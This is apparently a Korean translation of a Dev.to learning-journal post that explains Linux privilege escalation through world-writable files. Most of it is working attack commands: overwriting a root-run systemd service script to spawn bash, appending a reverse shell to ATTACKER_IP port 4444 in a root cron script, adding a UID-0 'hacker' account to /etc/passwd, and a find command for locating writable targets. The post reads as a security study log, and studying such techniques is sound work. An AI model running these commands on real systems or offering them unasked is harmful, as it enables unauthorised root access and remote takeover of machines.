Day 29: Writable File Exploitation — ‘Bad Permissions’를 Root Shells로 전환 🕵️‍♂️

발행: (2026년 3월 24일 오전 01:35 GMT+9)
2 분 소요
원문: Dev.to

Source: Dev.to

“Writable‑to‑Root” 파이프라인

1. Systemd 서비스 하이잭

나는 /etc/systemd/system/app.service에 있는 커스텀 서비스 파일을 감사했다.

취약점: ExecStart/opt/app.py를 가리키고 있었는데, 이 파일은 전 세계에 쓰기 가능(-rwxrwxrwx)했다.

익스플로잇:

echo 'import os; os.system("/bin/bash")' > /opt/app.py

트리거: systemctl restart app.
서비스 매니저(systemd)가 루트 권한으로 실행되기 때문에, 삽입된 Bash 쉘이 완전한 루트 권한으로 실행된다.

자동화: /etc/crontab을 확인했으며, 매분 실행되는 정리 스크립트를 발견했다.

익스플로잇 (역쉘 추가):

echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/cleanup.sh

결과: 60초 이내에 시스템이 자동으로 루트 쉘을 내 리스너로 전달한다.

/etc/passwd (핵 옵션)

드물게 /etc/passwd가 전 세계에 쓰기 가능하도록 잘못 설정된 경우:

익스플로잇: 새로운 사용자 해시를 만든다.

openssl passwd -1 mypassword

주입: 다음 줄을 /etc/passwd에 추가한다(생성된 해시를 $hash에 넣는다).

hacker:$hash:0:0:root:/root:/bin/bash

결과: su hacker를 실행하면 실제 루트 비밀번호 없이 즉시 루트 세션을 얻을 수 있다.

“골드 마인” 탐색 명령

find / -writable -type f 2>/dev/null | grep -v "/proc"

발견된 일반적인 쓰기 가능한 위치:

  • /opt/ (커스텀 애플리케이션)
  • /usr/local/bin/ (커스텀 스크립트)
  • /etc/systemd/system/ (서비스 설정)
  • /etc/cron* (스케줄된 작업)

내 여정을 팔로우하세요: #1HourADayJourney

0 조회
Back to Blog

관련 글

더 보기 »